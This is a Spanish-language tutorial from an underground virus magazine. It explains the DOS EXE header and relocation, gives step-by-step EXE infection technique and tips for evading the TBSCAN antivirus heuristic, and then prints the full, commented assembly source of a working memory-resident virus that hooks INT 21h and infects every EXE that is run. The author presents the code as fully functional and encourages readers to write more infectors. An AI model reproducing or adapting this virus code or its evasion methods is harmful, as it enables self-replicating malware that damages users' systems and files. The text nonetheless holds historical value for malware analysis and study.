Copy Link
Add to Bookmark
Report

Minotauro Magazine Issue 01 03 Programaci¢n de virus (no tan b†sico) #2...

eZine's profile picture
Published in 
Minotauro Magazine
 · 6 Feb 2021

  

Programaci¢n de virus (no tan b sico) #2...
-------------------------------------------------------------------------------
La infeccion de EXE no es mucho mas dificil que la de COM. Lo que
sucede es que implica el dominio de una estructura conocida como "EXE header",
pero una vez conocido este, no es muy dificultosa, y ofrece mas matices que
el puro y simple agregado de un JMP al principio del codigo. Comencemos...

% Estructura del Header %
La estructura de un header EXE esta disponible en casi cualquier
libro bueno de DOS, e incluso en algunas otras revistas de H/P/V, pero de
todas formas, la pongo aca para que el lector que no la tiene sepa de que
estoy hablando:

Offset Descripcion
00 Marca de EXE (MZ = 4D5A)
02 Numero de bytes en la ultima pagina (de 512 bytes) del programa
04 Numero total de paginas de 512 bytes, redondeado hacia arriba
06 Numero de entradas en la Tabla de Alocacion
08 Size del header (en paragrafos, incluyendo la Tabla de realocacion)
0A Minimo de memoria requerido (en para)
0C Maximo de memoria requerido (en para)
0E SS inicial
10 SP inicial
12 Checksum
14 IP inicial
16 CS inicial
18 Offset de la Tabla de Alocacion desde el comienzo del file
1A Numero de Overlays generados

La marca de EXE (MZ) es en realidad lo que distingue a un EXE de un
COM, y no la extension. La extension solo sirve para que DOS determine que
correr antes (COM-> EXE -> BAT). Pero lo que determina si es un exe
'verdadero' o no, es esta marca. Las entradas 02 y 04 contienen el size del
programa en si, en el formato 512 byte pages * 512 + reminder. Osea, si el
programa es de 1025 bytes, tengo 512 byte pages = 3 (redondeado hacia arriba)
y reminder = 1. (En realidad uno se pregunta, si las paginas estan
redondeadas hacia arriba, para que es el reminder. Es mas, ya que vamos a
usar 4 bytes para el size, porque no ponerlo simple y llano. Y bueh, es dura
la vida del programador de virus :-)) La entrada en 06 contiene el numero de
entradas de la tabla de realocacion (el numero de "punteros", ver mas abajo),
y la entrada en 18 contiene el offset de esta tabla dentro del file. El size
del header (en 08) incluye la tabla de realocacion. El minimo de memoria
requerida (0A) es lo minimo que necesita el prog. para correr, y el maximo
(0C), lo que desearia para correr. (Por lo general es seteado a FFFF = 1M por
los linkers, y DOS entrega toda la memoria disponible). El SS:SP y CS:IP
contienen los valores iniciales para estos registros (ver abajo). Notese que
SS:SP esta puesto al reves, osea que un LDS no funciona para cargarlo. El
checksum (12) y el numero de overlays (1A) pueden ser ignorados, ya que nunca
son usados.

% EXE vs. COM load process %
Bueno, todos conocemos exhaustivamente como se carga un COM: Se
construye un PSP, se crea un Environment Block a partir del bloque del parent
y se copia el file COM integro y textualmente en la memoria, debajo del PSP.
El hecho de que la memoria (en la arquitectura de nuestras computadoras) este
segmentada en 'cachos' de 64k hace que ningun COM pueda tener un size mayor a
este. (Porque, si lo tuviera, como lo accederia, de todos modos, si el file
es copiado textual a memoria. De todas formas DOS no ejecuta COM de +64k).
Ademas, ninguna instruccion que involucre referencias de segmento (del tipo
CALL XXXX:XXXX, etc) esta permitida. Notese que ademas cuando un COM es
cargado, se le entrega toda la memoria disponible.
En el caso de los EXE, para sobreponerse a estas limitaciones, la
cosa es mas compleja, y se utiliza la consabida "Tabla de realocacion"
(reallocation table), y el Header EXE para esto.
Cuando se ejecuta un EXE, DOS primero hace las cosas como en un COM
(Construye PSP, Crea Environment Block). Luego lee, a un area de trabajo, el
Header, y a partir de los datos de este, el programa en si en el apropiado
lugar de la memoria, y por ultimo, en otro area de trabajo, la tabla de
realocacion. A continuacion procede a realocatear todo el codigo. ¨En que
consiste esto?
El linker trata a las referencias de segmento siempre con un base
adress de 0. Osea, el primer segmento es el 0, el segundo el 1, etc. Sin
embargo, el programa es cargado en un segmento que no es 0, sino, por
ejemplo, 1000H. Entonces todas las referencias al segmento 1, deben ser
convertidas al segmento 1001H.
La tabla de realocacion es sencillamente una lista de punteros que
marcan referencias de este tipo (al segmento "1", etc). Estos punteros a su
vez son relativos a la base adress de 0, osea que tambien deben ser
realocateados. Por lo tanto, DOS suma al "puntero" de la tabla de
realocacion el segmento efectivo (el segmento en que fue cargado el programa,
osea 1000H) y obtiene asi una direccion absoluta en memoria de la referencia
de segmento. A esta referencia le suma tambien el segmento efectivo, y luego
de haber hecho esto con todas y cada una de las referencias de segmento, el
EXE esta realocateado, y listo para ejecutar. Por ultimo DOS setea SS:SP a
los valores del header (tambien realocateados, osea el SS del header+1000H),
y entrega el control al CS:IP del header (obviamente tambien realocateado).
Veamos un ejemplo sencillo:

EXE PROGRAM FILE
Header CS:IP (Header) 0000:0000 +
(relocation Eff. Segment 1000 +
table entries=2) PSP 0010 =
-------------------------
Entry Point 1010:0000 >ÄÄÄÄÄÄÄÄÄ¿
Relocation Table ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³
0000:0003 >ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> + 1010H = 1010:0003 >ÄÄ¿ ³
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³
0000:0007 >ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄ> + 1010H = 1010:0007 >ÄÄ¿ ³
ÚÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³
Program Image ³ ³ PROGRAM IN MEMORY ³
³ ³ PSP 1000:0000 ³
call 0001:0000 ³ ÀÄÄ> call 1011:0000 1010:0000 <ÄÙ
nop ³ nop 1010:0005
mov ax, 0003 ÀÄÄÄÄ> mov ax, 1013 1010:0006
mov ds, ax mov ds, ax 1010:0009

Nota: Espero que sepan apreciar el uso de las flechitas, porque me costo
un huevo hacerlas a manopla con Alt+??? en Norton Comander Editor.

% La infeccion del EXE %
Luego que se ha determinado que el file es un EXE y no un COM, estos
son los pasos a seguir para infectarlo:
- Obtener el size del file y calcular el CS:IP
Esto es controvertido. Si bien no todos, la mayoria de los virus
agregan al file 1-15 bytes de basura para redondearlo a paragrafo.
Esto permite calcular CS de tal forma que IP es invariante de un file
infectado a otro. A su vez esto permite escribir el virus sin
"realocacion", ya que corre siempre en el mismo offset, lo cual
redunda en una complejidad y un size menor del virus. El esfuerzo
(minimo) de escribir estos 1-15 bytes se justifica por estos
beneficios.
- Agregar el Virus al final del file
Bueno, supongo que conoceran la funcion 40H de INT 21H, a esta
altura, no? :-).
- Calcular el SS:SP
En la infeccion de EXE, es necesario que el virus se "arregle" una
stack nueva propia porque sino podria darse el caso que la stack
del hoste estuviera SOBRE el codigo del virus, y al usarla, se
sobreescribiera el codigo que se esta ejecutando. El sistema se
colgaria. Por lo general SS es igual al CS calculado, y SP constante
(se lo puede poner despues del codigo, p.eg.) Una cosa hay que notar:
SP nunca puede ser impar. Si es impar, aunque funciona, es un error,
y el TBSCAN lo detecta. (TBSCAN detecta 99% de las stacks de los
virus con la flag 'K'. La unica forma de eludirla que he descubierto
es poner la stack ADELANTE del virus en el file infectado, lo cual
es bastante trucho, pues aumenta el size de infeccion, pues hay que
escribir mas "basura" para hacer espacio de stack)
- Modificar el size reportado en el header
Ahora que ya se ha escrito el virus, se puede calcular el size final
y asi escribirlo en el header. La cuenta es sencilla: en "paginas"
va el size dividido por 512 mas 1, y en reminder, va el resto. Facil
de hacer, basta una instruccion DIV.
- Modificar el "MinAlloc"
En la mayoria de los EXE, el "MaxAlloc" esta puesto en FFFF, osea
un mega, y el DOS le entrega toda la memoria disponible. En estos
casos, hay lugar de sobra para HOSTE+VIRUS. Pero dos cosas pueden
suceder: Uno, que el header no tenga FFFF en el MaxAlloc, haciendo
que solo haya un minimo de memoria para el hoste, y posiblemente nada
para el virus. Dos, que haya poca memoria en el sistema, y "toda la
memoria disponible" entregada por el FFFF sea aun asi insuficiente
para HOSTE+VIRUS. En ambos casos, el virus no se carga, y el sistema
se cae. Para solucionar esto, basta sumar al MinAlloc el size del
virus en paragrafos. En el primer caso, el virus se cargaria en
memoria y todo andaria al pelo. En el segundo, DOS se negaria a
ejecutar el file, por memoria insuficiente.

Bien, esto es todo. Solo dos ultimas cositas: al hacer un infector
de EXE, no solo interesa la rutina de infeccion, sino ademas la de instalacion.
Tomar en cuenta que en un EXE, DS y ES apuntan al PSP, y son diferentes de SS,
y CS, que a su vez pueden ser distintos entre si. Esto les puede salvar de
HORAS de debugging y errores inexplicables. Bueno, basta seguir estos pasos
para infectar un exe en la manera 'tradicional' y segura. Recomiendo observar
atentamente el virus de ejemplo (mas abajo) que ilustra todos y cada uno de
los topicos mencionados.

% Detalles, Oh, Detalles ... %
Un ultimo detalle, importante en cierta medida, son los EXEs de un
tamano muy grande. Existen algunos ejecutables de este tipo, mayores a 500k,
a veces. (Por ejemplo el TC.EXE que era el IDE del Turbo C/C++ 1.01, tenia
800k). Porsupuesto estos EXEs no son comunachos, sino EXEs con overlays
internos. Estos EXEs son casi imposibles de infectar por dos razones:
La primera de tipo teorica. Sucede que con un par de registros
SEGMENT:OFFSET solo se puede direccionar 1M. Por lo tanto es tecnicamente
imposible infectar EXEs de 1M+ de la forma tradicional (Ya que es imposible
direccionar el CS:IP al final del file). Ningun virus puede ni podra hacerlo.
(Existen EXE de 1M+? Si, el EXE del juego HOOK ocupaba 1.6M BLERGH!).
La segunda, de tipo practica. Estos EXEs con overlays internos no se
cargan enteros en memoria, como los exes comunes. Se carga solo una parte
pequena de ellos, que se encarga de cargar a las otras partes a medida que
las necesita. Es por eso que puede correr un EXE de 800k (No se si se dieron
cuenta que 800k > 640k :-). Porque esto hace dificil infectarlos? Porque uno
de estos EXEs luego de haber sido infectado, dadas las modificaciones hechas
por el virus (Entre ellas la del size del program load image), tratara de ser
cargado ENTERO en memoria. Osea, del principio al fin. Osea, los 800k (o los
que sean). Evidentemente, el sistema se cuelga :-). Se puede pensar un virus
que infectara EXEs muy largos con overlays internos (menores a 1M), mediante
la manipulacion del "Header Size", pero aun asi no lo veo muy posible ya que
en alguna parte DOS deberia cargar un header de 800k :-).

% Un caso especial: RAT %
La comprension del proceso de la realocacion de un Header nos permite
entender ahora el funcionamiento de un virus infector de EXE especial. Se
trata del virus RAT. Este virus se aprovecha del hecho de que los linkers
suelen hacer los headers de a cachos de 512 bytes, dejando mucho espacio sin
usar en los casos en que hay poca realocacion.
Este virus utiliza este espacio para copiarse. Se copia alli, en el
espacio sin usar del header (de la tabla de realocacion). Porsupuesto su
funcionamiento es totalmente diferente del de un infector normal de EXE. No
puede admitir ninguna realocacion, ya que como su codigo esta ANTES del del
hoste, seria su codigo (y no el del hoste) el que seria realocateado. Por lo
tanto, tampoco puede hacer un sencillo salto al codigo del hoste para
correrlo, (ya que no esta realocateado) sino que tiene que volver a escribir
el header original a file, y correro con un AX=4B00, INT 21.

% Virus Ejemplo %
Bueno, como corresponde a toda revista de Virus que se precie, aqui
va un codigo totalmente funcional, y que ilustra todo lo dicho sobre la
infeccion de EXE. Si no entendieron alguna parte, o si quieren ver algo hecho
"en el codigo", fijense en este virus, que ademas esta comentado HASTA LAS
MANOS.
-------------------- Cut Here ------------------------------------------------
; NOTA: Este es un virus mediocre, solo para ilustrar la infeccion de EXE.
; No puede infectar READ ONLY y modifica la fecha/hora del file. Se le
; podrian hacer muchas mejoras, tanto funcionales (haciendo que infecte
; READ ONLY, etc), como de optimizacion de codigo (la mayoria de los datos,
; de hecho, TODOS los datos except SS:SP, CS:IP no son necesarios y podrian
; ser volados, usando luego la heap, ademas de otra optimizaciones).
; NOTA 2: Primero, le puse una notita muy fifi, y segundo, hice que sonara
; una bell cada vez que infecta, asi que si se te escapa y te infecta todo el
; rigido, es porque sos un flor de pelotudo.

code segment para public
assume cs:code, ss:code
VirLen equ offset VirEnd - offset VirBegin
VirBegin label byte
Install:
mov ax, 0BABAH ; Este chequeo es para no quedar residente dos veces.
int 21h
cmp ax, 0CACAH ; Si nos devuelve este codigo, es que ya esta resi-
jz AlreadyInMemory; dente el virus

mov ax, 3521h ; Con esto obtenemos el adress original de la INT 21
int 21h ; para luego poder llamarla
mov cs:word ptr OldInt21, bx
mov cs:word ptr OldInt21+2, es

mov ax, ds ; \
dec ax ; |
mov es, ax ; |
mov ax, es:[3] ; block size ; | Si sos medio novato, ignora todo
sub ax, ((VirLen+15) /16) + 1 ; | esto. (Es el metodo de MCB).
xchg bx, ax ; | No viene al caso para la
mov ah,4ah ; | infeccion de EXE.
push ds ; | Es una de las formas de quedar
pop es ; | residente de los virus.
int 21h ; |
mov ah, 48h ; |
mov bx, ((VirLen+15) / 16) ; |
int 21h ; |
dec ax ; |
mov es, ax ; |
mov word ptr es:[1], 8 ; |
inc ax ; |
mov es, ax ; |
xor di, di ; |
xor si, si ; |
push ds ; |
push cs ; |
pop ds ; |
mov cx, VirLen ; |
repz movsb ; /

mov ax, 2521h ; Aqui se cuelga de la INT 21
mov dx, offset NewInt21
push es
pop ds
int 21h
pop ds ; Esto es para que DS y ES esten en sus valores originales
push ds ; OJO QUE ESTO ES IMPORTANTE. Sino el EXE, al recibir DS y ES
pop es ; incorrectos, se puede colgar.

AlreadyInMemory:
mov ax, ds ; Con esto seteo SS al valor del Head.
add ax, cs:word ptr SS_SP ; notese que lo 'realocateo' usando
add ax, 10h ; ds ya que ese es el segmento en que
mov ss, ax ; se cargo el prog. El +10 corresponde
mov sp, cs:word ptr SS_SP+2 ; al PSP. Tambien seteo SP
mov ax, ds
add ax, cs:word ptr CS_IP+2 ; Ahora hago lo mismo con CS.
add ax, 10h ; e IP. Los pusheo, y despues hago un
push ax ; retf. Esto hace que "salte" a esa
mov ax, cs:word ptr CS_IP ; posicion
push ax
retf

NewInt21:
cmp ax, 0BABAh ; Eso es para el chequeo de que el virus no este
jz PCheck ; residente dos veces.
cmp ax, 4b00h ; Esta es la intercepcion de la funcion de 'correr
jz Infect ; file'
jmp cs:OldInt21 ; Si no es ninguna de estas cosas, se le entrega el
; control a la INT 21 original para que esta procese
; la llamada.
PCheck:
mov ax, 0CACAH ; Este es el codigo que devuelve.
iret ; volver.

; Ahora viene la rutina de infeccion. Prestar atencion, pues esto es la
; "cosa en si". Todo lo demas ignorenlo si quieren,pero en esto fijense bien.
Infect:
push ds ; En DS:DX viene el nombre del file a infectar.
push dx ; Por lo tanto hay que guardarlo.
pushf
call cs:OldInt21 ; Llamamos a int 21 original para correr el file.
push bp ; Salvamos todos los registros.
mov bp, sp ; Esto es importante en una rutina residente, ya que si
push ax ; no se hace, el sistema probablemente se cuelgue.
pushf
push bx
push cx
push dx
push ds

lds dx, [bp+2] ; Reobtenemos el nombre del file (de la stack)
mov ax, 3d02h ; Abrimos el file para r/w
int 21h
xchg bx, ax
mov ah, 3fh ; Aqui leemos los primeros 32 bytes del file a mem.
mov cx, 20h ; Los leemos a la variable "ExeHead"
push cs
pop ds
mov dx, offset ExeHeader
int 21h

cmp ds:word ptr ExeHeader, 'ZM' ; Esto es para determinar si es un
jz Continue ; EXE "verdadero" o si es un COM.
jmp AbortInfect ; Si es un COM, no lo infectamos.
Continue:
cmp ds:word ptr Checksum, 'JA' ; Esta es la marca de reconocimiento
jnz Continue2 ; del virus. Para esto usamos el
jmp AbortInfect ; Checksum del Header (que no se usa
; para ninguna otra cosa). Si ya esta
; infectado, no lo infectamos :-)
Continue2:
mov ax, 4202h ; Ahora vamos al final del file para ver si termina
cwd ; en paragrafo.
xor cx, cx
int 21h
and ax, 0fh
or ax, ax
jz DontAdd ; Si termina en paragrafo, no hacemos nada

mov cx, 10h ; Si no termina en paragrafo, le agregamos bytes de
sub cx, ax ; basura para rellenar. Notar que no importa que
mov ah, 40h ; tenga DX, ya que no importa que es lo que ponemos.
int 21h

DontAdd:
mov ax, 4202h ; Bien, ahora obtenemos el size final, redondeado a
cwd ; paragrafo.
xor cx, cx
int 21h

mov cl, 4 ; En este codigo se calcula el nuevo CS:IP que debera
shr ax, cl ; tener el file. Se hace la siguiente cuenta:
mov cl, 12 ; Size del file: 12340H (DX=1, AX=2340H)
shl dx, cl ; DX SHL 12 + AX SHR 4 = 1000H + 0234H = 1234H = CS
add dx, ax ; En DX ahora tenemos el CS que tendra que tener.
sub dx, word ptr ds:ExeHeader+8; Le restamos el numero de paragrafos
push dx ; del header. Lo guardamos en la stack para despues
; <--------------- Entienden porque no se puede infectar EXEs de 1M+?

mov ah, 40h ; Ahora escribimos el virus al final del file.
mov cx, VirLen ; Lo hacemos antes de tocar el header porque en el
cwd ; CS:IP u SS:SP del header (dentro del codigo del
int 21h ; virus) debe quedar el CS:IP, SS:SP original.
; para que funcione correctamente la rutina de instalacion del virus.

pop dx
mov ds:SS_SP, dx ; Modificamos el CS:IP del header apuntando
mov ds:CS_IP+2, dx ; al virus. Y ponemos una stack de 100h
mov ds:word ptr CS_IP, 0 ; bytes (despues del virus) pues esta stack
; solo sera usada por el mismo virus en su proceso de instalacion.
; Luego la stack cambia, y pasa a ser la original del programa.
mov ds:word ptr SS_SP+2, ((VirLen+100h+1)/2)*2 ; Este es para forzar
; SP a ser par pues sino es par, el TBSCAN salta.

mov ax, 4202h ; Volvemos a obtener el NUEVO size, para poder
xor cx, cx ; calcular el size que hay que poner en el header.
cwd
int 21h
mov cx, 200h ; Hacemos la sgte. cuenta :
div cx ; FileSize/512 = PAGES. FileSize modulo 512 = Resto
inc ax ; redondeamos para arriba
mov word ptr ds:ExeHeader+2, dx; Lo guardamos en el header, para
mov word ptr ds:ExeHeader+4, ax; escribirlo despues

mov word ptr ds:Checksum, 'JA'; Ponemos la marca de identificacion
; del virus en el checksum.
add word ptr ds:ExeHeader+0ah, ((VirLen + 15) SHR 4)+10h ; Al 'MinAlloc'
; le sumamos el numero de paragrafos del virus, para que no haya
; problemas en la alocacion de memoria. (Tambien le sumamos 10 para
; grafos para la stack del virus.

mov ax, 4200h ; Vamos al principio del file
cwd
xor cx, cx
int 21h
mov ah, 40h ; y escribimos el header modificado...
mov cx, 20h
mov dx, offset ExeHeader
int 21h

mov ah, 2 ; sonamos una campanita :-). Para que al novato
mov dl, 7 ; no se le pase por alto que el virus esta en memoria
int 21h ; SI DESPUES DE ESTO TE INFECTAS, CORTATELA, GIL.
AbortInfect:
mov ah, 3eh ; Cerramos el file que abrimos.
int 21h

pop ds ; Popeamos los registros que habiamos pusheado para
pop dx ; conservarlos.
pop cx
pop bx
pop ax;flags ; Esto es para pasar las flags bien. Pueden ignorarlo
mov bp, sp ; los novatos.
mov [bp+12], ax
pop ax
pop bp
add sp, 4
iret ; Devolvemos el control.


; Data
OldInt21 dd 0
; Aqui guardamos el address original de INT 21.

ExeHeader db 0eh DUP('H');
SS_SP dw 0, offset VirEnd+100h
Checksum dw 0
CS_IP dw offset Hoste,0
dw 0,0,0,0
; Esto es el header del EXE.
VirEnd label byte

Hoste:
; Este no es el codigo del virus, sino el del "falso hoste", para que
; el file carrier corra bien :-).
mov ah, 9
mov dx, offset MSG
push cs
pop ds
int 21h
mov ax, 4c00h
int 21h
MSG db "CUIDADO! Ahora el virus ESTA EN MEMORIA!", 13, 10
db "Y puede infectar todos los EXEs que corras!", 13, 10
db "Si te infectas es problema TUYO", 13, 10
db "No somos responsables de tu boludez!$"
ends
end
-------------------- Cut Here ------------------------------------------------

% Conclusion %
Bueno, that's all, folks. Este articulo intento ser de utilidad tanto
para el profano que recien empieza a hacer virus, como para el que ya la
tiene mas clara. Si, ya se que los principiantes no habran entendido muchas
partes dada la dificultad que revisten, y los expertos quiza no habran
entendido otras partes dada la incoherencia y la pobreza descriptiva (?) del
redactor, pero bueno, fuck it.
Igualmente espero que haya sido de utilidad, y espero ver muchos mas
infectores de EXE por ahi a partir de ahora. Y a modo de despedida, un desafio
para los lectores: Hacer un infector de EXE capaz de infectar EXE de 800k. Yo
creo que es imposible. El premio: Una subscripcion vitalicia a Minotauro
Magazine :-).
Trurl, el gran constructor

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT